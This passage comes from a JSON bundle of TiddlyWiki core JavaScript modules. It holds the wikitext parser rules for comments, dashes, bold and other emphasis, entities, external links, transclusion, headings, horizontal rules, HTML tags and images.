            "text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/commentinline.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text inline rule for HTML comments. For example:\n\n```\n<!-- This is a comment -->\n```\n\nNote that the syntax for comments is simplified to an opening \"<!--\" sequence and a closing \"-->\" sequence -- HTML itself implements a more complex format (see http://ostermiller.org/findhtmlcomment.html)\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"commentinline\";\nexports.types = {inline: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\tthis.matchRegExp = /<!--/mg;\n\tthis.endMatchRegExp = /-->/mg;\n};\n\nexports.findNextMatch = function(startPos) {\n\tthis.matchRegExp.lastIndex = startPos;\n\tthis.match = this.matchRegExp.exec(this.parser.source);\n\tif(this.match) {\n\t\tthis.endMatchRegExp.lastIndex = startPos + this.match[0].length;\n\t\tthis.endMatch = this.endMatchRegExp.exec(this.parser.source);\n\t\tif(this.endMatch) {\n\t\t\treturn this.match.index;\n\t\t}\n\t}\n\treturn undefined;\n};\n\nexports.parse = function() {\n\t// Move past the match\n\tthis.parser.pos = this.endMatchRegExp.lastIndex;\n\t// Don't return any elements\n\treturn [];\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "wikirule"
        },
        "$:/core/modules/parsers/wikiparser/rules/dash.js": {
            "title": "$:/core/modules/parsers/wikiparser/rules/dash.js",
            "text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/dash.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text inline rule for dashes. For example:\n\n```\nThis is an en-dash: --\n\nThis is an em-dash: ---\n```\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"dash\";\nexports.types = {inline: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = /-{2,3}(?!-)/mg;\n};\n\nexports.parse = function() {\n\t// Move past the match\n\tthis.parser.pos = this.matchRegExp.lastIndex;\n\tvar dash = this.match[0].length === 2 ? \"&ndash;\" : \"&mdash;\";\n\treturn [{\n\t\ttype: \"entity\",\n\t\tentity: dash\n\t}];\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "wikirule"
        },
        "$:/core/modules/parsers/wikiparser/rules/emphasis/bold.js": {
            "title": "$:/core/modules/parsers/wikiparser/rules/emphasis/bold.js",
            "text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/emphasis/bold.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text inline rule for emphasis - bold. For example:\n\n```\n\tThis is ''bold'' text\n```\n\nThis wikiparser can be modified using the rules eg:\n\n```\n\\rules except bold \n\\rules only bold \n```\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"bold\";\nexports.types = {inline: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = /''/mg;\n};\n\nexports.parse = function() {\n\t// Move past the match\n\tthis.parser.pos = this.matchRegExp.lastIndex;\n\n\t// Parse the run including the terminator\n\tvar tree = this.parser.parseInlineRun(/''/mg,{eatTerminator: true});\n\n\t// Return the classed span\n\treturn [{\n\t\ttype: \"element\",\n\t\ttag: \"strong\",\n\t\tchildren: tree\n\t}];\n};\n\n})();",
            "type": "application/javascript",
            "module-type": "wikirule"
        },
        "$:/core/modules/parsers/wikiparser/rules/emphasis/italic.js": {
            "title": "$:/core/modules/parsers/wikiparser/rules/emphasis/italic.js",
            "text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/emphasis/italic.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text inline rule for emphasis - italic. For example:\n\n```\n\tThis is //italic// text\n```\n\nThis wikiparser can be modified using the rules eg:\n\n```\n\\rules except italic\n\\rules only italic\n```\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"italic\";\nexports.types = {inline: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = /\\/\\//mg;\n};\n\nexports.parse = function() {\n\t// Move past the match\n\tthis.parser.pos = this.matchRegExp.lastIndex;\n\n\t// Parse the run including the terminator\n\tvar tree = this.parser.parseInlineRun(/\\/\\//mg,{eatTerminator: true});\n\n\t// Return the classed span\n\treturn [{\n\t\ttype: \"element\",\n\t\ttag: \"em\",\n\t\tchildren: tree\n\t}];\n};\n\n})();",
            "type": "application/javascript",
            "module-type": "wikirule"
        },
        "$:/core/modules/parsers/wikiparser/rules/emphasis/strikethrough.js": {
            "title": "$:/core/modules/parsers/wikiparser/rules/emphasis/strikethrough.js",
            "text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/emphasis/strikethrough.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text inline rule for emphasis - strikethrough. For example:\n\n```\n\tThis is ~~strikethrough~~ text\n```\n\nThis wikiparser can be modified using the rules eg:\n\n```\n\\rules except strikethrough \n\\rules only strikethrough \n```\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"strikethrough\";\nexports.types = {inline: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = /~~/mg;\n};\n\nexports.parse = function() {\n\t// Move past the match\n\tthis.parser.pos = this.matchRegExp.lastIndex;\n\n\t// Parse the run including the terminator\n\tvar tree = this.parser.parseInlineRun(/~~/mg,{eatTerminator: true});\n\n\t// Return the classed span\n\treturn [{\n\t\ttype: \"element\",\n\t\ttag: \"strike\",\n\t\tchildren: tree\n\t}];\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "wikirule"
        },
        "$:/core/modules/parsers/wikiparser/rules/emphasis/subscript.js": {
            "title": "$:/core/modules/parsers/wikiparser/rules/emphasis/subscript.js",
            "text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/emphasis/subscript.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text inline rule for emphasis - subscript. For example:\n\n```\n\tThis is ,,subscript,, text\n```\n\nThis wikiparser can be modified using the rules eg:\n\n```\n\\rules except subscript \n\\rules only subscript \n```\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"subscript\";\nexports.types = {inline: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = /,,/mg;\n};\n\nexports.parse = function() {\n\t// Move past the match\n\tthis.parser.pos = this.matchRegExp.lastIndex;\n\n\t// Parse the run including the terminator\n\tvar tree = this.parser.parseInlineRun(/,,/mg,{eatTerminator: true});\n\n\t// Return the classed span\n\treturn [{\n\t\ttype: \"element\",\n\t\ttag: \"sub\",\n\t\tchildren: tree\n\t}];\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "wikirule"
        },
        "$:/core/modules/parsers/wikiparser/rules/emphasis/superscript.js": {
            "title": "$:/core/modules/parsers/wikiparser/rules/emphasis/superscript.js",
            "text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/emphasis/superscript.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text inline rule for emphasis - superscript. For example:\n\n```\n\tThis is ^^superscript^^ text\n```\n\nThis wikiparser can be modified using the rules eg:\n\n```\n\\rules except superscript \n\\rules only superscript \n```\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"superscript\";\nexports.types = {inline: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = /\\^\\^/mg;\n};\n\nexports.parse = function() {\n\t// Move past the match\n\tthis.parser.pos = this.matchRegExp.lastIndex;\n\n\t// Parse the run including the terminator\n\tvar tree = this.parser.parseInlineRun(/\\^\\^/mg,{eatTerminator: true});\n\n\t// Return the classed span\n\treturn [{\n\t\ttype: \"element\",\n\t\ttag: \"sup\",\n\t\tchildren: tree\n\t}];\n};\n\n})();",
            "type": "application/javascript",
            "module-type": "wikirule"
        },
        "$:/core/modules/parsers/wikiparser/rules/emphasis/underscore.js": {
            "title": "$:/core/modules/parsers/wikiparser/rules/emphasis/underscore.js",
            "text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/emphasis/underscore.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text inline rule for emphasis - underscore. For example:\n\n```\n\tThis is __underscore__ text\n```\n\nThis wikiparser can be modified using the rules eg:\n\n```\n\\rules except underscore \n\\rules only underscore\n```\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"underscore\";\nexports.types = {inline: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = /__/mg;\n};\n\nexports.parse = function() {\n\t// Move past the match\n\tthis.parser.pos = this.matchRegExp.lastIndex;\n\n\t// Parse the run including the terminator\n\tvar tree = this.parser.parseInlineRun(/__/mg,{eatTerminator: true});\n\n\t// Return the classed span\n\treturn [{\n\t\ttype: \"element\",\n\t\ttag: \"u\",\n\t\tchildren: tree\n\t}];\n};\n\n})();",
            "type": "application/javascript",
            "module-type": "wikirule"
        },
        "$:/core/modules/parsers/wikiparser/rules/entity.js": {
            "title": "$:/core/modules/parsers/wikiparser/rules/entity.js",
            "text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/entity.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text inline rule for HTML entities. For example:\n\n```\n\tThis is a copyright symbol: &copy;\n```\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"entity\";\nexports.types = {inline: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = /(&#?[a-zA-Z0-9]{2,8};)/mg;\n};\n\n/*\nParse the most recent match\n*/\nexports.parse = function() {\n\t// Get all the details of the match\n\tvar entityString = this.match[1];\n\t// Move past the macro call\n\tthis.parser.pos = this.matchRegExp.lastIndex;\n\t// Return the entity\n\treturn [{type: \"entity\", entity: this.match[0]}];\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "wikirule"
        },
        "$:/core/modules/parsers/wikiparser/rules/extlink.js": {
            "title": "$:/core/modules/parsers/wikiparser/rules/extlink.js",
            "text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/extlink.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text inline rule for external links. For example:\n\n```\nAn external link: https://www.tiddlywiki.com/\n\nA suppressed external link: ~http://www.tiddlyspace.com/\n```\n\nExternal links can be suppressed by preceding them with `~`.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"extlink\";\nexports.types = {inline: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = /~?(?:file|http|https|mailto|ftp|irc|news|data|skype):[^\\s<>{}\\[\\]`|\"\\\\^]+(?:\\/|\\b)/mg;\n};\n\nexports.parse = function() {\n\t// Move past the match\n\tthis.parser.pos = this.matchRegExp.lastIndex;\n\t// Create the link unless it is suppressed\n\tif(this.match[0].substr(0,1) === \"~\") {\n\t\treturn [{type: \"text\", text: this.match[0].substr(1)}];\n\t} else {\n\t\treturn [{\n\t\t\ttype: \"element\",\n\t\t\ttag: \"a\",\n\t\t\tattributes: {\n\t\t\t\thref: {type: \"string\", value: this.match[0]},\n\t\t\t\t\"class\": {type: \"string\", value: \"tc-tiddlylink-external\"},\n\t\t\t\ttarget: {type: \"string\", value: \"_blank\"},\n\t\t\t\trel: {type: \"string\", value: \"noopener noreferrer\"}\n\t\t\t},\n\t\t\tchildren: [{\n\t\t\t\ttype: \"text\", text: this.match[0]\n\t\t\t}]\n\t\t}];\n\t}\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "wikirule"
        },
        "$:/core/modules/parsers/wikiparser/rules/filteredtranscludeblock.js": {
            "title": "$:/core/modules/parsers/wikiparser/rules/filteredtranscludeblock.js",
            "text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/filteredtranscludeblock.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text rule for block-level filtered transclusion. For example:\n\n```\n{{{ [tag[docs]] }}}\n{{{ [tag[docs]] |tooltip}}}\n{{{ [tag[docs]] ||TemplateTitle}}}\n{{{ [tag[docs]] |tooltip||TemplateTitle}}}\n{{{ [tag[docs]] }}width:40;height:50;}.class.class\n```\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"filteredtranscludeblock\";\nexports.types = {block: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = /\\{\\{\\{([^\\|]+?)(?:\\|([^\\|\\{\\}]+))?(?:\\|\\|([^\\|\\{\\}]+))?\\}\\}([^\\}]*)\\}(?:\\.(\\S+))?(?:\\r?\\n|$)/mg;\n};\n\nexports.parse = function() {\n\t// Move past the match\n\tthis.parser.pos = this.matchRegExp.lastIndex;\n\t// Get the match details\n\tvar filter = this.match[1],\n\t\ttooltip = this.match[2],\n\t\ttemplate = $tw.utils.trim(this.match[3]),\n\t\tstyle = this.match[4],\n\t\tclasses = this.match[5];\n\t// Return the list widget\n\tvar node = {\n\t\ttype: \"list\",\n\t\tattributes: {\n\t\t\tfilter: {type: \"string\", value: filter}\n\t\t},\n\t\tisBlock: true\n\t};\n\tif(tooltip) {\n\t\tnode.attributes.tooltip = {type: \"string\", value: tooltip};\n\t}\n\tif(template) {\n\t\tnode.attributes.template = {type: \"string\", value: template};\n\t}\n\tif(style) {\n\t\tnode.attributes.style = {type: \"string\", value: style};\n\t}\n\tif(classes) {\n\t\tnode.attributes.itemClass = {type: \"string\", value: classes.split(\".\").join(\" \")};\n\t}\n\treturn [node];\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "wikirule"
        },
        "$:/core/modules/parsers/wikiparser/rules/filteredtranscludeinline.js": {
            "title": "$:/core/modules/parsers/wikiparser/rules/filteredtranscludeinline.js",
            "text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/filteredtranscludeinline.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text rule for inline filtered transclusion. For example:\n\n```\n{{{ [tag[docs]] }}}\n{{{ [tag[docs]] |tooltip}}}\n{{{ [tag[docs]] ||TemplateTitle}}}\n{{{ [tag[docs]] |tooltip||TemplateTitle}}}\n{{{ [tag[docs]] }}width:40;height:50;}.class.class\n```\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"filteredtranscludeinline\";\nexports.types = {inline: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = /\\{\\{\\{([^\\|]+?)(?:\\|([^\\|\\{\\}]+))?(?:\\|\\|([^\\|\\{\\}]+))?\\}\\}([^\\}]*)\\}(?:\\.(\\S+))?/mg;\n};\n\nexports.parse = function() {\n\t// Move past the match\n\tthis.parser.pos = this.matchRegExp.lastIndex;\n\t// Get the match details\n\tvar filter = this.match[1],\n\t\ttooltip = this.match[2],\n\t\ttemplate = $tw.utils.trim(this.match[3]),\n\t\tstyle = this.match[4],\n\t\tclasses = this.match[5];\n\t// Return the list widget\n\tvar node = {\n\t\ttype: \"list\",\n\t\tattributes: {\n\t\t\tfilter: {type: \"string\", value: filter}\n\t\t}\n\t};\n\tif(tooltip) {\n\t\tnode.attributes.tooltip = {type: \"string\", value: tooltip};\n\t}\n\tif(template) {\n\t\tnode.attributes.template = {type: \"string\", value: template};\n\t}\n\tif(style) {\n\t\tnode.attributes.style = {type: \"string\", value: style};\n\t}\n\tif(classes) {\n\t\tnode.attributes.itemClass = {type: \"string\", value: classes.split(\".\").join(\" \")};\n\t}\n\treturn [node];\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "wikirule"
        },
        "$:/core/modules/parsers/wikiparser/rules/hardlinebreaks.js": {
            "title": "$:/core/modules/parsers/wikiparser/rules/hardlinebreaks.js",
            "text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/hardlinebreaks.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text inline rule for marking areas with hard line breaks. For example:\n\n```\n\"\"\"\nThis is some text\nThat is set like\nIt is a Poem\nWhen it is\nClearly\nNot\n\"\"\"\n```\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"hardlinebreaks\";\nexports.types = {inline: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = /\"\"\"(?:\\r?\\n)?/mg;\n};\n\nexports.parse = function() {\n\tvar reEnd = /(\"\"\")|(\\r?\\n)/mg,\n\t\ttree = [],\n\t\tmatch;\n\t// Move past the match\n\tthis.parser.pos = this.matchRegExp.lastIndex;\n\tdo {\n\t\t// Parse the run up to the terminator\n\t\ttree.push.apply(tree,this.parser.parseInlineRun(reEnd,{eatTerminator: false}));\n\t\t// Redo the terminator match\n\t\treEnd.lastIndex = this.parser.pos;\n\t\tmatch = reEnd.exec(this.parser.source);\n\t\tif(match) {\n\t\t\tthis.parser.pos = reEnd.lastIndex;\n\t\t\t// Add a line break if the terminator was a line break\n\t\t\tif(match[2]) {\n\t\t\t\ttree.push({type: \"element\", tag: \"br\"});\n\t\t\t}\n\t\t}\n\t} while(match && !match[1]);\n\t// Return the nodes\n\treturn tree;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "wikirule"
        },
        "$:/core/modules/parsers/wikiparser/rules/heading.js": {
            "title": "$:/core/modules/parsers/wikiparser/rules/heading.js",
            "text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/heading.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text block rule for headings\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"heading\";\nexports.types = {block: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = /(!{1,6})/mg;\n};\n\n/*\nParse the most recent match\n*/\nexports.parse = function() {\n\t// Get all the details of the match\n\tvar headingLevel = this.match[1].length;\n\t// Move past the !s\n\tthis.parser.pos = this.matchRegExp.lastIndex;\n\t// Parse any classes, whitespace and then the heading itself\n\tvar classes = this.parser.parseClasses();\n\tthis.parser.skipWhitespace({treatNewlinesAsNonWhitespace: true});\n\tvar tree = this.parser.parseInlineRun(/(\\r?\\n)/mg);\n\t// Return the heading\n\treturn [{\n\t\ttype: \"element\",\n\t\ttag: \"h\" + headingLevel, \n\t\tattributes: {\n\t\t\t\"class\": {type: \"string\", value: classes.join(\" \")}\n\t\t},\n\t\tchildren: tree\n\t}];\n};\n})();\n",
            "type": "application/javascript",
            "module-type": "wikirule"
        },
        "$:/core/modules/parsers/wikiparser/rules/horizrule.js": {
            "title": "$:/core/modules/parsers/wikiparser/rules/horizrule.js",
            "text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/horizrule.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text block rule for rules. For example:\n\n```\n---\n```\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"horizrule\";\nexports.types = {block: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = /-{3,}\\r?(?:\\n|$)/mg;\n};\n\nexports.parse = function() {\n\t// Move past the match\n\tthis.parser.pos = this.matchRegExp.lastIndex;\n\treturn [{type: \"element\", tag: \"hr\"}];\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "wikirule"
        },
        "$:/core/modules/parsers/wikiparser/rules/html.js": {
            "title": "$:/core/modules/parsers/wikiparser/rules/html.js",
            "text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/html.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki rule for HTML elements and widgets. For example:\n\n{{{\n<aside>\nThis is an HTML5 aside element\n</aside>\n\n<$slider target=\"MyTiddler\">\nThis is a widget invocation\n</$slider>\n\n}}}\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"html\";\nexports.types = {inline: true, block: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n};\n\nexports.findNextMatch = function(startPos) {\n\t// Find the next tag\n\tthis.nextTag = this.findNextTag(this.parser.source,startPos,{\n\t\trequireLineBreak: this.is.block\n\t});\n\treturn this.nextTag ? this.nextTag.start : undefined;\n};\n\n/*\nParse the most recent match\n*/\nexports.parse = function() {\n\t// Retrieve the most recent match so that recursive calls don't overwrite it\n\tvar tag = this.nextTag;\n\tthis.nextTag = null;\n\t// Advance the parser position to past the tag\n\tthis.parser.pos = tag.end;\n\t// Check for an immediately following double linebreak\n\tvar hasLineBreak = !tag.isSelfClosing && !!$tw.utils.parseTokenRegExp(this.parser.source,this.parser.pos,/([^\\S\\n\\r]*\\r?\\n(?:[^\\S\\n\\r]*\\r?\\n|$))/g);\n\t// Set whether we're in block mode\n\ttag.isBlock = this.is.block || hasLineBreak;\n\t// Parse the body if we need to\n\tif(!tag.isSelfClosing && $tw.config.htmlVoidElements.indexOf(tag.tag) === -1) {\n\t\t\tvar reEndString = \"</\" + $tw.utils.escapeRegExp(tag.tag) + \">\",\n\t\t\t\treEnd = new RegExp(\"(\" + reEndString + \")\",\"mg\");\n\t\tif(hasLineBreak) {\n\t\t\ttag.children = this.parser.parseBlocks(reEndString);\n\t\t} else {\n\t\t\ttag.children = this.parser.parseInlineRun(reEnd);\n\t\t}\n\t\treEnd.lastIndex = this.parser.pos;\n\t\tvar endMatch = reEnd.exec(this.parser.source);\n\t\tif(endMatch && endMatch.index === this.parser.pos) {\n\t\t\tthis.parser.pos = endMatch.index + endMatch[0].length;\n\t\t}\n\t}\n\t// Return the tag\n\treturn [tag];\n};\n\n/*\nLook for an HTML tag. Returns null if not found, otherwise returns {type: \"element\", name:, attributes: [], isSelfClosing:, start:, end:,}\n*/\nexports.parseTag = function(source,pos,options) {\n\toptions = options || {};\n\tvar token,\n\t\tnode = {\n\t\t\ttype: \"element\",\n\t\t\tstart: pos,\n\t\t\tattributes: {}\n\t\t};\n\t// Define our regexps\n\tvar reTagName = /([a-zA-Z0-9\\-\\$]+)/g;\n\t// Skip whitespace\n\tpos = $tw.utils.skipWhiteSpace(source,pos);\n\t// Look for a less than sign\n\ttoken = $tw.utils.parseTokenString(source,pos,\"<\");\n\tif(!token) {\n\t\treturn null;\n\t}\n\tpos = token.end;\n\t// Get the tag name\n\ttoken = $tw.utils.parseTokenRegExp(source,pos,reTagName);\n\tif(!token) {\n\t\treturn null;\n\t}\n\tnode.tag = token.match[1];\n\tif(node.tag.slice(1).indexOf(\"$\") !== -1) {\n\t\treturn null;\n\t}\n\tif(node.tag.charAt(0) === \"$\") {\n\t\tnode.type = node.tag.substr(1);\n\t}\n\tpos = token.end;\n\t// Check that the tag is terminated by a space, / or >\n\tif(!$tw.utils.parseWhiteSpace(source,pos) && !(source.charAt(pos) === \"/\") && !(source.charAt(pos) === \">\") ) {\n\t\treturn null;\n\t}\n\t// Process attributes\n\tvar attribute = $tw.utils.parseAttribute(source,pos);\n\twhile(attribute) {\n\t\tnode.attributes[attribute.name] = attribute;\n\t\tpos = attribute.end;\n\t\t// Get the next attribute\n\t\tattribute = $tw.utils.parseAttribute(source,pos);\n\t}\n\t// Skip whitespace\n\tpos = $tw.utils.skipWhiteSpace(source,pos);\n\t// Look for a closing slash\n\ttoken = $tw.utils.parseTokenString(source,pos,\"/\");\n\tif(token) {\n\t\tpos = token.end;\n\t\tnode.isSelfClosing = true;\n\t}\n\t// Look for a greater than sign\n\ttoken = $tw.utils.parseTokenString(source,pos,\">\");\n\tif(!token) {\n\t\treturn null;\n\t}\n\tpos = token.end;\n\t// Check for a required line break\n\tif(options.requireLineBreak) {\n\t\ttoken = $tw.utils.parseTokenRegExp(source,pos,/([^\\S\\n\\r]*\\r?\\n(?:[^\\S\\n\\r]*\\r?\\n|$))/g);\n\t\tif(!token) {\n\t\t\treturn null;\n\t\t}\n\t}\n\t// Update the end position\n\tnode.end = pos;\n\treturn node;\n};\n\nexports.findNextTag = function(source,pos,options) {\n\t// A regexp for finding candidate HTML tags\n\tvar reLookahead = /<([a-zA-Z\\-\\$]+)/g;\n\t// Find the next candidate\n\treLookahead.lastIndex = pos;\n\tvar match = reLookahead.exec(source);\n\twhile(match) {\n\t\t// Try to parse the candidate as a tag\n\t\tvar tag = this.parseTag(source,match.index,options);\n\t\t// Return success\n\t\tif(tag && this.isLegalTag(tag)) {\n\t\t\treturn tag;\n\t\t}\n\t\t// Look for the next match\n\t\treLookahead.lastIndex = match.index + 1;\n\t\tmatch = reLookahead.exec(source);\n\t}\n\t// Failed\n\treturn null;\n};\n\nexports.isLegalTag = function(tag) {\n\t// Widgets are always OK\n\tif(tag.type !== \"element\") {\n\t\treturn true;\n\t// If it's an HTML tag that starts with a dash then it's not legal\n\t} else if(tag.tag.charAt(0) === \"-\") {\n\t\treturn false;\n\t} else {\n\t\t// Otherwise it's OK\n\t\treturn true;\n\t}\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "wikirule"
        },
        "$:/core/modules/parsers/wikiparser/rules/image.js": {
            "title": "$:/core/modules/parsers/wikiparser/rules/image.js",
            "text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/image.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text inline rule for embedding images. For example:\n\n```\n[img[https://tiddlywiki.com/fractalveg.jpg]]\n[img width=23 height=24 [https://tiddlywiki.com/fractalveg.jpg]]\n[img width={{!!width}} height={{!!height}} [https://tiddlywiki.com/fractalveg.jpg]]\n[img[Description of image|https://tiddlywiki.com/fractalveg.jpg]]\n[img[TiddlerTitle]]\n[img[Description of image|TiddlerTitle]]\n```\n\nGenerates the `<$image>` widget.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"image\";\nexports.types = {inline: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n};\n\nexports.findNextMatch = function(startPos) {\n\t// Find the next tag\n\tthis.nextImage = this.findNextImage(this.parser.source,startPos);\n\treturn this.nextImage ? this.nextImage.start : undefined;\n};\n\nexports.parse = function() {\n\t// Move past the match\n\tthis.parser.pos = this.nextImage.end;\n\tvar node = {\n\t\ttype: \"image\",\n\t\tattributes: this.nextImage.attributes\n\t};\n\treturn [node];\n};\n\n/*\nFind the next image from the current position\n*/\nexports.findNextImage = function(source,pos) {\n\t// A regexp for finding candidate HTML tags\n\tvar reLookahead = /(\\[img)/g;\n\t// Find the next candidate\n\treLookahead.lastIndex = pos;\n\tvar match = reLookahead.exec(source);\n\twhile(match) {\n\t\t// Try to parse the candidate as a tag\n\t\tvar tag = this.parseImage(source,match.index);\n\t\t// Return success\n\t\tif(tag) {\n\t\t\treturn tag;\n\t\t}\n\t\t// Look for the next match\n\t\treLookahead.lastIndex = match.index + 1;\n\t\tmatch = reLookahead.exec(source);\n\t}\n\t// Failed\n\treturn null;\n};\n\n/*\nLook for an image at the specified position. Returns null if not found, otherwise returns {type: \"image\", attributes: [], isSelfClosing:, start:, end:,}\n*/\nexports.parseImage = function(source,pos) {\n\tvar token,\n\t\tnode = {\n\t\t\ttype: \"image\",\n\t\t\tstart: pos,\n\t\t\tattributes: {}\n\t\t};\n\t// Skip whitespace\n\tpos = $tw.utils.skipWhiteSpace(source,pos);\n\t// Look for the `[img`\n\ttoken = $tw.utils.parseTokenString(source,pos,\"[img\");\n\tif(!token) {\n\t\treturn null;\n\t}\n\tpos = token.end;\n\t// Skip whitespace\n\tpos = $tw.utils.skipWhiteSpace(source,pos);\n\t// Process attributes\n\tif(source.charAt(pos) !== \"[\") {\n\t\tvar attribute = $tw.utils.parseAttribute(source,pos);\n\t\twhile(attribute) {\n\t\t\tnode.attributes[attribute.name] = attribute;\n\t\t\tpos = attribute.end;\n\t\t\tpos = $tw.utils.skipWhiteSpace(source,pos);\n\t\t\tif(source.charAt(pos) !== \"[\") {\n\t\t\t\t// Get the next attribute\n\t\t\t\tattribute = $tw.utils.parseAttribute(source,pos);\n\t\t\t} else {\n\t\t\t\tattribute = null;\n\t\t\t}\n\t\t}\n\t}\n\t// Skip whitespace\n\tpos = $tw.utils.skipWhiteSpace(source,pos);\n\t// Look for the `[` after the attributes\n\ttoken = $tw.utils.parseTokenString(source,pos,\"[\");\n\tif(!token) {\n\t\treturn null;\n\t}\n\tpos = token.end;\n\t// Skip whitespace\n\tpos = $tw.utils.skipWhiteSpace(source,pos);\n\t// Get the source up to the terminating `]]`\n\ttoken = $tw.utils.parseTokenRegExp(source,pos,/(?:([^|\\]]*?)\\|)?([^\\]]+?)\\]\\]/g);\n\tif(!token) {\n\t\treturn null;\n\t}\n\tpos = token.end;\n\tif(token.match[1]) {\n\t\tnode.attributes.tooltip = {type: \"string\", value: token.match[1].trim()};\n\t}\n\tnode.attributes.source = {type: \"string\", value: (token.match[2] || \"\").trim()};\n\t// Update the end position\n\tnode.end = pos;\n\treturn node;\n};\n\n})();\n",
